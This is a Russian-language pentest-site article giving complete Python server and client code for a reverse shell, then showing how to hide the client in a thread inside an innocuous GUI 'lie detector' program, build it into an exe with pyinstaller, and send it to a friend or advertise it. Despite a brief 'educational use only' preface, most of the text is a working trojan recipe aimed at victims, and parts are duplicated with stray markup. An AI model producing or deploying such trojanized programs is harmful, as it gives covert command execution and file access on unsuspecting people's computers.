РАЗБОР
Pentest
Статья
Создание быстрого Reverse Shell на Python
[ обложка статьи ]
Режим чтения
Прежде чем перейти к коду, стоит сразу оговориться: описанный ниже reverse shell — учебный пример, показывающий саму механику работы обратного соединения через сокеты. Он передаёт данные в открытом виде без шифрования, а сигнатуры подобных скриптов (и скомпилированных из них exe-файлов) хорошо известны антивirusам и Windows Defender, так что для реальных пентестов такой код обычно дорабатывают — добавляют обфускацию, шифрование трафика и легитимные способы закрепления. Используйте материал только в рамках legal-тестирования на своих стендах или по договорённости с заказчиком.
Всем привет. Предлагаю вам краткую статью на тему того, как написать быстрый Reverse Shell на языке программирования Python.
Начнём с подключения необходимых нам библиотек.
Написание серверной части
Говорим сокету что будем работать по протоколу TCP (это более надёжное соединение).
Далее резервируем порт на котором наше соединение будет работать.
Метод accept() будет содержать кортеж, содержимое которого присвоится client и addr.
Затем создадим бесконечный цикл, для того чтобы наша программа не завершилась после первой команды.
Принимаем строковое значение.
Отправляем команду клиенту в закодированом виде.
Создадим ещё команду exit, если мы уже достаточно напакостили и хотим выйти.
Создаём переменную для получения результата от жертвы и декодируем её.
И выводим с помощью print.
Теперь закрываем все подключения.
Отлично, сторона сервера готова, полный код выглядит вот так:
Написание клиентской части
Здесь уже нужно добавить ещё одну библиотеку, а именно subprocess, она позволит выполнять команды.
Точно также говорим скрипту что будем работать по протоколу TCP.
Теперь инициализируем подключение к серверной части скрипта.
Создадим цикл while True в котором скрипт будет ожидать команды от сервера и декодировать их.
Также создадим условие для выхода.
Наконец вывод и отправка вывода от клиента.
Закрываем сокет.
Полный код выглядит вот так:
Там где написано 127.0.0.1, нужно подставить свой IP соответственно, иначе вы будете заражать сами себя.
Обратите внимание что в методах connect и blind я использую по 2 скобки, потому что это кортеж.
Репозиторий с этими файлами лежат здесь.
Имейте в виду, что shell работает только тогда, когда клиентский файл активен, так что лучше его запускать как
Так как мне кажется, что статья получилась короткой, я расскажу как внедрить его в свою программу на python и эскплойтить на Linux и Windows.
У меня ещё со времён когда я учился в шараге осталась программка, что-то типо детектора лжи. Программа просто выдавала числа от 0 до 1 в рандоме, если результат 1, то правда, если 0, то ложь вне зависимости от вопроса, хаха.
В ней имеется графический интерфейс и exe файл, поэтому подозрения сведены к минимуму.
Её main файл выглядит вот так:
Найти код программы можно здесь.
Здесь ничего сложного на самом деле, просто вставим наши библиотеки.
Разделим тело программы на 2 функции для того, чтобы мы могли дать им возможность работать одновременно, в функции main() будет основной код приложения, в shell(), собственно, наш шелл.
Отлично, теперь при запуске программы программа запустит shell и пока пользователь задаёт вопросы программе, она также предоставляет нам доступ к директориям и файловой системе.
Для того чтобы скомпилировать эту программу в exe-шник, нужно на Windows (на Linux у меня не вышло), выполнить следующую команду (c помощью pyinstaller):
Готово, теперь можно отправлять программу другу, или рекламировать её где-нибудь. Желаю удачи, братья!
Начнём с подключения необходимых нам библиотек.
subprocess, socketНаписание серверной части
Говорим сокету что будем работать по протоколу TCP (это более надёжное соединение).
Python:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Далее резервируем порт на котором наше соединение будет работать.
Python:
s.bind(('127.0.0.1', 8888))
Метод accept() будет содержать кортеж, содержимое которого присвоится client и addr.
Python:
client, addr = s.accept()
Затем создадим бесконечный цикл, для того чтобы наша программа не завершилась после первой команды.
Принимаем строковое значение.
Python:
while True:
command = input('Enter command: ')
Отправляем команду клиенту в закодированом виде.
Python:
client.send(command.encode())
Создадим ещё команду exit, если мы уже достаточно напакостили и хотим выйти.
Python:
if command.lower() == 'exit':
break
Создаём переменную для получения результата от жертвы и декодируем её.
Python:
result_output = client.recv(4096).decode()
И выводим с помощью print.
Python:
print(result_output)
Теперь закрываем все подключения.
Python:
client.close()
s.close()
Отлично, сторона сервера готова, полный код выглядит вот так:
Python:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8888))
s.listen(5)
client, addr = s.accept()
while True:
command = input('Enter command: ')
client.send(command.encode())
if command.lower() == 'exit':
break
result_output = client.recv(4096).decode()
print(result_output)
client.close()
s.close()
Написание клиентской части
Здесь уже нужно добавить ещё одну библиотеку, а именно subprocess, она позволит выполнять команды.
Python:
import subprocess
Точно также говорим скрипту что будем работать по протоколу TCP.
Python:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Теперь инициализируем подключение к серверной части скрипта.
Python:
s.connect(('127.0.0.1', 8888))
Создадим цикл while True в котором скрипт будет ожидать команды от сервера и декодировать их.
Python:
while True:
command = s.recv(4096).decode()
Также создадим условие для выхода.
Python:
if command.lower() == 'exit':
break
Наконец вывод и отправка вывода от клиента.
Python:
output = subprocess.getoutput(command)
s.send(output.encode())
Закрываем сокет.
Python:
s.close()
Полный код выглядит вот так:
Python:
import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))
while True:
command = s.recv(4096).decode()
if command.lower() == 'exit':
break
output = subprocess.getoutput(command)
s.send(output.encode())
s.close()
Там где написано 127.0.0.1, нужно подставить свой IP соответственно, иначе вы будете заражать сами себя.
Обратите внимание что в методах connect и blind я использую по 2 скобки, потому что это кортеж.
Репозиторий с этими файлами лежат здесь.
Имейте в виду, что shell работает только тогда, когда клиентский файл активен, так что лучше его запускать как
python3 client.py &Так как мне кажется, что статья получилась короткой, я расскажу как внедрить его в свою программу на python и эскплойтить на Linux и Windows.
У меня ещё со времён когда я учился в шараге осталась программка, что-то типо детектора лжи. Программа просто выдавала числа от 0 до 1 в рандоме, если результат 1, то правда, если 0, то ложь вне зависимости от вопроса, хаха.
В ней имеется графический интерфейс и exe файл, поэтому подозрения сведены к минимуму.
Её main файл выглядит вот так:
Python:
import PySimpleGUI as sg
import random
import time
#Дизайн приложения
sg.theme('DarkGrey5')
layout = [
[sg.Text("Задай свой вопрос: ", font="Arial, 11")],[sg.Input(key="Answeruser")],
[sg.Button("Узнать ответ")],[sg.Text("Результат:", font="Arial, 15")],
[sg.Text("Нет, это ложь!", key="lie", visible=False, font="Arial, 20")],
[sg.Text("Да,это правда!", key="true", visible=False, font="Arial, 20")],
]
window = sg.Window("True Or False?", layout, icon=r'/logo.png', size=(290,400), finalize=True) #основное окно приложения
while True: #бесконечный цикл для постоянной работы программы
event, values = window.read()
if event == sg.WIN_CLOSED: #завершает работу приложения
break
if event == 'Узнать ответ':
answer = random.randint(0,1) # генерация ответа
print("Кнопка работает") #Проверка кнопки
if answer == 0:
window["lie"].update(visible=True) #Программа сначала выводит текст который выпал затем обновляет экран и прячет текст
window.Refresh()
time.sleep(3)
window["lie"].update(visible=False)
elif answer == 1:
window["true"].update(visible=True) #Программа сначала выводит текст который выпал затем обновляет экран и прячет текст
window.Refresh()
time.sleep(3)
window["true"].update(visible=False)
#обновление экрана
window.Refresh()
#закрытие окна приложения
window.close()
Найти код программы можно здесь.
Здесь ничего сложного на самом деле, просто вставим наши библиотеки.
Python:
import PySimpleGUI as sg
import random
import time
!!!import socket!!!
!!!import subprocess!!![/SIZE]
!!!from threading import Thread!!!
[SIZE=4]
Разделим тело программы на 2 функции для того, чтобы мы могли дать им возможность работать одновременно, в функции main() будет основной код приложения, в shell(), собственно, наш шелл.
Python:
[/SIZE]
#библиотеки для работы приложения
import PySimpleGUI as sg
import random
import time
!!!!import socket
!!!!import subprocess
!!!!!from threading import Thread
def main():
sg.theme('DarkGrey5')
layout = [
[sg.Text("Задай свой вопрос: ", font="Arial, 11")],[sg.Input(key="Answeruser")],
[sg.Button("Узнать ответ")],[sg.Text("Результат:", font="Arial, 15")],
[sg.Text("Нет, это ложь!", key="lie", visible=False, font="Arial, 20")],
[sg.Text("Да,это правда!", key="true", visible=False, font="Arial, 20")],
]
window = sg.Window("True Or False?", layout, icon=r'/logo.png', size=(290,400), finalize=True) #основное окно приложения
while True:
event, values = window.read()
if event == sg.WIN_CLOSED: #завершает работу приложения
break
if event == 'Узнать ответ':
answer = random.randint(0,1) # генерация ответа
print("Кнопка работает") #Проверка кнопки
if answer == 0:
window["lie"].update(visible=True) #Программа сначала выводит текст который выпал затем обновляет экран и прячет текст
window.Refresh()
time.sleep(3)
window["lie"].update(visible=False)
elif answer == 1:
window["true"].update(visible=True) #Программа сначала выводит текст который выпал затем обновляет экран и прячет текст
window.Refresh()
time.sleep(3)
window["true"].update(visible=False)
#обновление экрана
window.Refresh()
#закрытие окна приложения
window.close()
!!!!def shell():
!!!! s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
!!!! s.connect(('IP', 8888))
!!! while True:
!!! command = s.recv(4096).decode()
!!! if command.lower() == 'exit':
!!! break
!!! output = subprocess.getoutput(command)
!!! s.send(output.encode())
!!!
!!! s.close()
if __name__ == "__main__":
thread = Thread(target=shell)
thread_main = Thread(target=main)
thread.start()
thread_main.start()
thread.join()
thread_main.join()
Отлично, теперь при запуске программы программа запустит shell и пока пользователь задаёт вопросы программе, она также предоставляет нам доступ к директориям и файловой системе.
Для того чтобы скомпилировать эту программу в exe-шник, нужно на Windows (на Linux у меня не вышло), выполнить следующую команду (c помощью pyinstaller):
pyinstaller --onefile --windowed main.py
Готово, теперь можно отправлять программу другу, или рекламировать её где-нибудь. Желаю удачи, братья!
AI-выжимка
сгенерировано ИИ
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Продолжить чтение
Следующий разбор
RedAmon: open source инструменты для пентеста 2026
Комментарии
12